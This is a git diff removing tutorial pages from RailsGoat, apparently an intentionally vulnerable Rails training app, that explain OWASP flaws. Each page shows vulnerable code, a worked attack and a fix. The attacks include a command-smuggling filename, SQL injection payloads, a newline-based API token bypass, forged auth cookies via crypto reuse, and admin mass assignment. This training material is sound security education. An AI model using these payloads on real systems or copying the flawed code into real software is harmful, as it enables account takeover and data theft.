    -        Accept-Encoding: gzip, deflate
    -        Referer: http://railsgoat.dev/users/5/benefit_forms
    -        Cookie: _railsgoat_session=[redacted for brevity]
    -        Connection: keep-alive
    -        Content-Type: multipart/form-data; boundary=--------54316025
    -        Content-Length: 1731
    -
    -        ----------54316025
    -        Content-Disposition: form-data; name="utf8"
    -
    -        ✓
    -        ----------54316025
    -        Content-Disposition: form-data; name="authenticity_token"
    -
    -        zKnXZO1PGcM+rFweczO7H8IDQ6NHmc8Siud2ypM6ZeA=
    -        ----------54316025
    -        Content-Disposition: form-data; name="benefits[backup]"
    -
    -        true
    -        ----------54316025
    -        Content-Disposition: form-data; name="benefits[upload]"; filename="test.rb;+mkdir+thisisatest "
    -        Content-Type: text/x-ruby-script
    -         
    -

    Command Injection - SOLUTION

    -

    - The solution is fairly simple and because this is so poorly done there are numerous ways to fix the vulnerability. One option, is to abstract a file creation method and pass it options such as the path and filename, then call it twice, once for the initial upload and another for the backup. Another option is to make a copy through the use of the FileUtils. -

    -

    - As an example: -

    -
    -          def self.make_backup(file, data_path, full_file_name)
    -             FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
    -           end
    -         
    -
    -
    -
    -
    - -
    -
    - Let's create a backup when uploading a file, wonder how they are naming it? -
    -
    -
    -
    -
    -
    diff --git a/app/views/layouts/tutorial/injection/_injection_first.html.erb b/app/views/layouts/tutorial/injection/_injection_first.html.erb deleted file mode 100755 index 9ad5b4e..0000000 --- a/app/views/layouts/tutorial/injection/_injection_first.html.erb +++ /dev/null @@ -1,159 +0,0 @@ -
    -
    -
    - A1 - SQL Injection -
    -
    -
    -
    -
    - -
    -
    -

    - Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data. -

    -
    -
    -
    -
    - -
    -
    -

    - This example of SQL Injection also happens to be a form of <%= link_to "Insecure Direct Object Reference", insecure_dor_tutorials_path, {:target => "_blank", :style => "color: rgb(181, 121, 158)"} %> since it uses user-supplied input to determine the user's profile to update. However, we will discuss the SQL query being used and why it is vulnerable. -

    -

    - Within app/controllers/users_controller.rb -

    -
    -          def update
    -            message = false
    -            user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")
    -            user.skip_user_id_assign = true
    -            user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
    -            pass = params[:user][:password]
    -            user.password = pass if !(pass.blank?)
    -            message = true if user.save!
    -            respond_to do |format|
    -              format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
    -              format.json { render :json => {:msg => message ? "success" : "false "} }
    -            end
    -          end
    -        
    -

    - The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string. -

    -
    -
    -
    -
    - -
    -
    -

    SQL Injection - ATTACK

    -

    - You will need to use an intercepting proxy or otherwise modify the request prior to it being received by the application. Browse to account_settings (top right, drop-down). Once at the account settings page, type in passwords, and click submit. Now modify the request from: -

    -

    -        POST /users/5.json HTTP/1.1
    -        Host: railsgoat.dev
    -        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
    -        Accept: */*
    -        Accept-Language: en-US,en;q=0.5
    -        Accept-Encoding: gzip, deflate
    -        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    -        X-Requested-With: XMLHttpRequest
    -        Referer: http://railsgoat.dev/users/5/account_settings
    -        Content-Length: 294
    -        Cookie: _railsgoat_session=[redacted]
    -        Connection: keep-alive
    -        Pragma: no-cache
    -        Cache-Control: no-cache
    -            utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=& user[user_id]=5&user[email]=ken@metacorp.com&user[first_name]=Ken&user[last_name]=Johnson&user[password]=testtest&user[password_confirmation]=testtest
    -        
    -

    - Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection. It is important to note that we have omitted the email, first, and last name parameters as a duplicate email address will cause errors. Additionally, we do not wish to change the admin's first and last name as this would alert the admin to the "hack". -

    -
    -        POST /users/5.json HTTP/1.1
    -        Host: railsgoat.dev
    -        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
    -        Accept: */*
    -        Accept-Language: en-US,en;q=0.5
    -        Accept-Encoding: gzip, deflate
    -        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    -        X-Requested-With: XMLHttpRequest
    -        Referer: http://railsgoat.dev/users/5/account_settings
    -        Content-Length: 208
    -        Cookie: _railsgoat_session=[redacted]
    -        Connection: keep-alive
    -        Pragma: no-cache
    -        Cache-Control: no-cache
    -
    -        utf8=✓&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[user_id]=5') OR admin = 't' --'")&user[password]=testtest1&user[password_confirmation]=testtest1
    -         
    -

    SQL Injection - SOLUTION

    -

    - In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.

    -

    -
    -          def update
    -            message = false
    -            user = current_user
    -
    -            user.skip_user_id_assign = true
    -            user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
    -            pass = params[:user][:password]
    -            user.password = pass if !(pass.blank?)
    -            message = true if user.save!
    -            respond_to do |format|
    -              format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
    -              format.json { render :json => {:msg => message ? "success" : "false "} }
    -            end
    -          end
    -        
    -

    - ...However, since we are discussing fixing vulnerable SQL queries, let's discuss parameterized queries. Parameterized queries separate the SQL Query from the dynamic and often untrusted data. You could replace the string interpolated value with the following query and effectively separate the query from untrusted data: -

    -
    -        user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
    -        
    -
    -
    -
    -
    - -
    -
    - I wonder who else's account needs updating? -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/injection/_sqli_scope.html.erb b/app/views/layouts/tutorial/injection/_sqli_scope.html.erb deleted file mode 100644 index 3c8ed28..0000000 --- a/app/views/layouts/tutorial/injection/_sqli_scope.html.erb +++ /dev/null @@ -1,171 +0,0 @@ -
    -
    -
    - A1 - SQL Injection - ActiveRecord Scope -
    -
    -
    -
    -
    - -
    -
    -

    - ActiveRecord provides a useful tool for it's Models called a scope. In the words of the documentation: -

    -
    
    -"Scoping allows you to specify commonly-used queries which can be referenced as 
    method calls on the association objects or models." -
    -

    - This means that we can call a scope as a method and that the scope can be used for common queries such as where and join. Developers must be careful not to interpolate or concatenate user input into these scope calls as this can lead to SQL Injection. This is a common mistake made and can have serious consequences. -

    -
    -
    -
    -
    - -
    -
    -

    - Within app/models/analytics.rb: -

    -
    -        class Analytics < ActiveRecord::Base
    -          attr_accessible :ip_address, :referrer, :user_agent
    -
    -          scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")}
    -
    -          def self.count_by_col(col)
    -            calculate(:count, col)
    -          end
    -        
    -

    - Additionally, within app/controllers/admin_controller.rb: -

    -
    -        def analytics
    -          if params[:field].nil?
    -            fields = "*"
    -          else
    -            fields = params[:field].map {|k,v| k }.join(",")
    -          end
    -
    -          if params[:ip]
    -            @analytics = Analytics.hits_by_ip(params[:ip], fields)
    -          else
    -            @analytics = Analytics.all
    -          end
    -          render "layouts/admin/_analytics"
    -        end
    -       
    -

    - Within the controller we call the method hits_by_ip. This method is actually a scope as highlighted (above) in the Analytics model. The field object, defined within the controller, represents user-input that is intended to control the column returned by the SQL query. The field object represents the HTTP Request's parameter key. So this means we can control at least a portion of the query. Due to the fact that this input is used as an interpolated value within the query string, we have control over a larger portion of the query. -

    -
    -
    -
    -
    - -
    -
    -

    SQL Injection - ATTACK

    -

    - Navigate to the admin analytics panel. Send a request to search by an IP. Modify the request to change the parameter key to a partial SQL statement that returns all users and their information from the database: -

    -
    -        GET /admin/1/analytics?ip=127.0.0.1&field%5B*%20from%20users--%5D= HTTP/1.1
    -        Host: railsgoat.dev
    -        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0
    -        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -        Accept-Language: en-US,en;q=0.5
    -        Accept-Encoding: gzip, deflate
    -        Cookie:[redacted]
    -        Connection: keep-alive
    -         
    -

    - Essentially we are changing the intended SQL query from: -

    -
    -        SELECT UserInput FROM "analytics"  WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
    -         
    -

    - to: -

    -
    -        SELECT * from users-- FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
    -         
    -

    SQL Injection - SOLUTION

    -

    - To resolve this issue, do not interpolate user-provided input into SQL queries. However, it is always a good idea to create a whitelist of acceptable values when writing any code that is intended to be powerful and very flexible but that also leverages user-input to make these potentially security-impacting decisions. Within the Analytics model, we have a method called parse_field: -

    -
    -         def self.parse_field(field)
    -            valid_fields = ["ip_address", "referrer", "user_agent"]
    -
    -            if valid_fields.include?(field)
    -              field
    -            else
    -              "1"
    -            end
    -         end
    -         
    -

    - When used properly, this method prevents anything that does not match those items in the valid_fields array from reaching the SQL query. For example, within the admin controller we can prevent anything that does not match that white-list from inclusion into the query by doing the following: -

    -
    -          def analytics
    -            if params[:field].nil?
    -              fields = "*"
    -            else
    -             fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")
    -            end
    -
    -            if params[:ip]
    -              @analytics = Analytics.hits_by_ip(params[:ip], fields)
    -            else
    -              @analytics = Analytics.all
    -            end
    -            render "layouts/admin/_analytics"
    -          end
    -         
    -

    - Effectively, we've changed any malicious data provided by the user into the number '1' by leveraging the above code. -

    -
    -
    -
    -
    - -
    -
    - Administrative analytics functionality need further security analysis. Now might be a good time to test for SQLi. -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/insecure_components/_insecure_components_first.html.erb b/app/views/layouts/tutorial/insecure_components/_insecure_components_first.html.erb deleted file mode 100644 index 3f90c41..0000000 --- a/app/views/layouts/tutorial/insecure_components/_insecure_components_first.html.erb +++ /dev/null @@ -1,109 +0,0 @@ -
    -
    -
    - A9 - Using Components with Known Vulnerabilities (DOM XSS / JQuery Snippet) -
    -
    -
    -
    -
    - -
    -
    - JQuery Snippet contains at least one DOM-Based XSS vulnerability that can be confirmed in IE11. Unknowingly, the Railsgoat development team used this library. Credit for vulnerability discovery as well as submission to <%= link_to "@raesene", "http://github.com/raesene", {:style => "color: rgb(181, 121, 158)", :target => "_blank"}%>. This was unintentional but goes to show how easily vulnerabilities can creep in when using third-party libraries. -
    -
    -
    -
    - -
    -
    -

    - Within the file app/assets/javascripts/jquery.snippet.js: -

    -
    -        <%= %{
    -// snippet new window popup function
    -function snippetPopup(content) \{
    -   top.consoleRef=window.open('','myconsole',
    -    'width=600,height=300'
    -     +',left=50,top=50'
    -     +',menubar=0'
    -     +',toolbar=0'
    -     +',location=0'
    -     +',status=0'
    -     +',scrollbars=1'
    -     +',resizable=1');
    -   top.consoleRef.document.writeln(
    -    'Snippet :: Code View :: '+}%><span style="background-color:yellow">location.href</span><%= %{+''
    -     +''
    -     +'
    '+content+'
    ' - +'' - ); - top.consoleRef.document.close(); -\}}%>
    -

    - We can see that the location.href DOM property is used to dynamically generate a title for the text box pop-up. This value is string concatenated directly from the DOM without first performing some escaping routine or HTML encoding. -

    -
    -
    -
    -
    - -
    -
    -

    Using Components with Known Vulnerabilities (DOM XSS) - ATTACK

    -

    - In order to demonstrate that you can indeed perform DOM XSS through this coding error, we will use a simple alert box. This does not appear to work in Chrome, Safari, or Firefox as they first URL encoded the script portion of the url before rendering which complicates browser interpretation. IE on the other hand, true to form, is totally vulnerable. The following example assumes you are running Railsgoat on localhost, port 3000. If this is the case, open IE, paste the URL (below) into IE. -

    -
    -<%= "http://localhost:3000/tutorials/injection#" %>
    -          
    -

    - The portion after the pound (#) symbol will close off the title and head portions of the HTML and then allow for properly generated JavaScript to be rendered and executed. After browsing to this URL, navigate to the tutorial where code snippets are shown and click on the "pop-up" link that appears after hovering over the code snippet. This should be all that is required to demonstrate DOM-XSS. -

    -

    Using Components with Known Vulnerabilities (DOM XSS) - SOLUTION

    -

    - Use the hoganEscape() function defined in application.js to solve this problem. For instance: -

    -
    -<%=%{'Snippet :: Code View :: '+}%><span style="background-color:yellow">hoganEscape(location.href)</span> <%=%{+'' }%>
    -            
    -
    -
    -
    -
    - -
    -
    - Review the JQuery Code Snippet for any content that might be mirrored or reflected back and that is under our control. -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/insecure_dor/_insecure_dor_first.html.erb b/app/views/layouts/tutorial/insecure_dor/_insecure_dor_first.html.erb deleted file mode 100755 index 1bf6c2a..0000000 --- a/app/views/layouts/tutorial/insecure_dor/_insecure_dor_first.html.erb +++ /dev/null @@ -1,106 +0,0 @@ -
    -
    -
    - A4 - Insecure Direct Object References -
    -
    -
    -
    -
    - -
    -
    -

    - Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified. -

    -
    -
    -
    -
    - -
    -
    -

    - Within the app/controllers/work_info_controller.rb file the follow code can be found: -

    -
    -        <%= %q{
    -         class WorkInfoController < ApplicationController
    -
    -          def index
    -            @user = User.find_by_user_id(params[:user_id])
    -            if !(@user)
    -              flash[:error] = "Sorry, no user with that user id exists"
    -              redirect_to home_dashboard_index_path
    -            end
    -          end
    -
    -        end
    -        } %>
    -        
    -

    - Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema. -

    -
    -
    -
    -
    - -
    -
    -

    Insecure Direct Object Reference - ATTACK

    -

    - Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info. - Now change it to someone else's user ID.

    Example - /users/2/work_info -

    -

    Insecure Direct Object Reference - SOLUTION

    -

    - The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message). -

    -
    -          def index
    -            @user = current_user
    -            if !(@user) || @user.admin
    -              flash[:error] = "Apologies, looks like something went wrong"
    -              redirect_to home_dashboard_index_path
    -            end
    -          end
    -        
    -
    -
    -
    -
    - -
    -
    - Hmmm, that's a lot of info under work info, hope that is secure -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/logic_flaws/_broken_regexp.html.erb b/app/views/layouts/tutorial/logic_flaws/_broken_regexp.html.erb deleted file mode 100644 index 3586038..0000000 --- a/app/views/layouts/tutorial/logic_flaws/_broken_regexp.html.erb +++ /dev/null @@ -1,219 +0,0 @@ -
    -
    -
    - Logic Flaws - Broken Regular Expression -
    -
    -
    -
    -
    - -
    -
    -

    - Regular expressions are a common way to extract the data you want from the data you do not want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks. -

    -
    -
    -
    -
    - -
    -
    -

    - Within the file app/controllers/api/v1/users_controller.rb: -

    -
    -        before_filter :valid_api_token
    -          before_filter :extrapolate_user
    -        
    -

    - The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints. -

    -
    -          def valid_api_token
    -               authenticate_or_request_with_http_token do |token, options|
    -                 # TODO :add some functionality to check if the HTTP Header is valid
    -                 identify_user(token)
    -               end
    -             end
    -
    -            def identify_user(token="")
    -               # We've had issues with URL encoding, etc. causing issues so just to be safe
    -               # we will go ahead and unescape the user's token
    -               unescape_token(token)
    -               @clean_token =~ /(.*?)-(.*)/
    -               id = $1
    -               hash = $2
    -               (id && hash) ? true : false
    -               check_hash(id, hash) ? true : false
    -            end
    -
    -            def check_hash(id, hash)
    -             digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")
    -             hash == digest
    -            end
    -
    -          # We had some issues with the token and url encoding...
    -              # this is an attempt to normalize the data.
    -            def unescape_token(token="")
    -              @clean_token = CGI::unescape(token)
    -            end
    -        
    -

    - This first validation, valid_api_token, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid.

    Meaning, if the hash (check_hash) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid.

    The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access. -

    -
    -          # Added a method to make it easy to figure out who the user is.
    -          def extrapolate_user
    -            @user = User.find_by_id(@clean_token.split("-").first)
    -          end
    -       
    -

    - Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: %0a).We meant or expected for a user to enter a token such as: -

    -
    -        Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
    -       
    -

    - However, the user actually enters: -

    -
    -        Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
    -      
    -

    - This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen ("-") character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be "2\n1". When performing a find_by_*, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user! -

    -
    -
    -
    -
    - -
    -
    -

    Broken Regular Expression ATTACK:

    -

    - As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request should look like: -

    -
    -  GET /api/v1/users HTTP/1.1
    -  Host: railsgoat.dev
    -  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
    -  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -  Accept-Language: en-US,en;q=0.5
    -  Accept-Encoding: gzip, deflate
    -  Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc
    -  Content-Length: 4
    -         
    -

    - This is the response: -

    -
    -  HTTP/1.1 200 OK
    -  Content-Type: application/json; charset=utf-8
    -  X-UA-Compatible: IE=Edge
    -  ETag: "6b4caf343a20865de174b2b530b945dd"
    -  Cache-Control: max-age=0, private, must-revalidate
    -  X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
    -  X-Runtime: 0.008342
    -  Connection: close
    -
    -  {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com",
    -  "first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
    -  "updated_at":"2014-01-23T16:17:10Z","user_id":2}
    -         
    -

    - We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate being and admin by prepending 1%0a: -

    -
    -  GET /api/v1/users HTTP/1.1
    -  Host: railsgoat.dev
    -  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
    -  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -  Accept-Language: en-US,en;q=0.5
    -  Accept-Encoding: gzip, deflate
    -  Authorization: Token token=1%0a2-050ddd40584978fe9e82840b8b95abb98e4786dc
    -  Content-Length: 4
    -         
    -

    - The following is a response from the application (note - we get bonus points because as an admin we can retrieve EVERYONE's data): -

    -
    -  HTTP/1.1 200 OK
    -  Content-Type: application/json; charset=utf-8
    -  X-UA-Compatible: IE=Edge
    -  ETag: "916d3a7b17b24bd84806393e5ef4ccd9"
    -  Cache-Control: max-age=0, private, must-revalidate
    -  X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
    -  X-Runtime: 0.009111
    -  Connection: close
    -
    -  [{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name":
    -  "Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
    -  {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino",
    -  "password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at":
    -  "2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password":
    -  "e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false,
    -  "created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe",
    -  "password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at":
    -  "2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password":
    -  "67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at":
    -  "2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password":
    -  "05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
    -  "2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password":
    -  "91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
    -         
    -

    Broken Regular Expression SOLUTION:

    -

    - There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters. -

    -
    -        def identify_user(token="")
    -          # We've had issues with URL encoding, etc. causing issues so just to be safe
    -          # we will go ahead and unescape the user's token
    -          unescape_token(token)
    -          @clean_token =~ /\A(.*?)-(.*)\z/
    -          id = $1
    -          hash = $2
    -          (id && hash) ? true : false
    -          check_hash(id, hash) ? true : false
    -        end
    -         
    -
    -
    -
    -
    - -
    -
    - An API token? Interested to see what calls I can make! What are the closing tags for Ruby again? -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/logic_flaws/_insecure_crypto_reuse.html.erb b/app/views/layouts/tutorial/logic_flaws/_insecure_crypto_reuse.html.erb deleted file mode 100644 index 831287e..0000000 --- a/app/views/layouts/tutorial/logic_flaws/_insecure_crypto_reuse.html.erb +++ /dev/null @@ -1,132 +0,0 @@ -
    -
    -
    - Logic Flaws - Insecure Encryption Re-use -
    -
    -
    -
    -
    - -
    -
    -

    - The Railsgoat application allows employees of Metacorp to choose the Remember Me option at login, which creates a cookie named auth-token. The encryption routine used to generate the auth-token allows the application to extract a user ID. When decrypted, a user ID is extracted and the user is authorized appropriately. This same encryption routine is used elsewhere in the application in a manner such that a clever attacker can generate an auth_token cookie with whatever user ID they prefer and authorize to the application as a different user. -

    -
    -
    -
    -
    - -
    -
    -

    - Within the file lib/encryption.rb, there are two encryption related methods that we have exposed: -

    -
    -          # Added a re-usable encryption routine, shouldn't be an issue!
    -          def self.encrypt_sensitive_value(val="")
    -             aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    -             aes.encrypt
    -             aes.key = key
    -             aes.iv = iv if iv != nil
    -             new_val = aes.update("#{val}") + aes.final
    -             Base64.strict_encode64(new_val).encode('utf-8')
    -          end
    -
    -          def self.decrypt_sensitive_value(val="")
    -             aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    -             aes.decrypt
    -             aes.key = key
    -             aes.iv = iv if iv != nil
    -             decoded = Base64.strict_decode64("#{val}")
    -             aes.update("#{decoded}") + aes.final
    -          end
    -        
    -

    - We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's auth_token cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.

    - Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value: -

    -
    -          # callbacks
    -          before_save :encrypt_bank_account_num
    -
    -          def encrypt_bank_account_num
    -            self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num)
    -          end
    -        
    -

    - Additionally, we render that encrypted value (purposefully) when the show action is created within the app/controllers/pay_controller.rb file: -

    -
    -           def show
    -            respond_to do |format|
    -              format.json { render :json => {:user => current_user.pay.as_json} }
    -            end
    -          end
    -        
    -

    - Lastly, we re-use this same routine within the following code is used to create a user's auth_token cookie upon sign-up or creation (app/models/user.rb): -

    -
    -          before_create { generate_token(:auth_token) }
    -
    -           def generate_token(column)
    -            begin
    -              self[column] = Encryption.encrypt_sensitive_value(self.user_id)
    -            end while User.exists?(column => self[column])
    -           end
    -        
    -
    -
    -
    -
    - -
    -
    -

    Insecure Encryption Re-use ATTACK:

    -

    - Navigate to the Pay section of the application. Enter your bank account number but use the number 1 as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your auth_token cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality. -

    -

    Insecure Encryption Re-use SOLUTION:

    -

    - Create an entirely new encryption routine or create the SHA1 hash with a different salt. -

    -
    -
    -
    -
    - -
    -
    - My "Remember Me" cookie looks familiar, almost like one of those values you get when you enter your bank account number. -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/mass_assignment/_admin_mass_assign.html.erb b/app/views/layouts/tutorial/mass_assignment/_admin_mass_assign.html.erb deleted file mode 100644 index 92f9ac9..0000000 --- a/app/views/layouts/tutorial/mass_assignment/_admin_mass_assign.html.erb +++ /dev/null @@ -1,150 +0,0 @@ -
    -
    -
    - Mass Assignment (Admin role) -
    -
    -
    -
    -
    - -
    -
    -

    - The application allows the admin attribute of a User model to be set through a mass assignment call. This vulnerability exists because a developer has indicated it is acceptable to set or change the admin value through the use of the attr_accessible setting. Any action that uses mass assignment to create a user or modify a user's settings is susceptible to this attack which would allow vertical privilege escalation. -

    -
    -
    -
    -
    - -
    -
    -

    - The bug is introduced within app/models/user.rb, seen on line 3 (:admin): -

    -

    -

    -            <%= %q{
    -            class User < ActiveRecord::Base
    -              attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
    -            } %>
    -          
    -

    -

    - Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed: -

    -
    -          # Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute...
    -          # is true or false thanks to ActiveRecord
    -          User.new(:email => "email@email.com",
    -          :admin => "true",
    -          :password => "h4xx0r",
    -          :first_name => "Captain",
    -          :last_name => "Crunch"
    -          )
    -        
    -
    -
    -
    -
    - -
    -
    -

    Mass Assignment ATTACK:

    -

    - Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this... -

    -
    -      POST /users HTTP/1.1
    -      Host: railsgoat.dev
    -      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
    -      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -      Accept-Language: en-US,en;q=0.5
    -      Accept-Encoding: gzip, deflate
    -      Referer: http://railsgoat.dev/signup
    -      Cookie: _railsgoat_session=[redacted]
    -      Connection: keep-alive
    -      Content-Type: application/x-www-form-urlencoded
    -      Content-Length: 248
    -
    -      utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit
    -       
    -

    - ...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true. -

    -
     utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&user[admin]=true
    -       
    -

    - So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation. -

    -
    -         def create
    -            user = User.new(params[:user])
    -            user.build_retirement(POPULATE_RETIREMENTS.shuffle.first)
    -            user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
    -            user.build_work_info(POPULATE_WORK_INFO.shuffle.first)
    -            user.performance.build(POPULATE_PERFORMANCE.shuffle.first)
    -            if user.save
    -              session[:user_id] = user.user_id
    -              redirect_to home_dashboard_index_path
    -            else
    -              @user = user
    -              render :new
    -            end
    -          end
    -       
    -

    - The last thing to mention here is that this can be done either through the signup page or when you edit your account settings. -

    -

    Mass Assignment SOLUTION:

    -

    - The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean: -

    -
    -                # Note that the admin attr has been removed 
    -            <%= %q{
    -            class User < ActiveRecord::Base
    -              attr_accessible :email, :password, :password_confirmation, :first_name, :last_name
    -            } %>
    -       
    -
    -
    -
    -
    - -
    -
    -

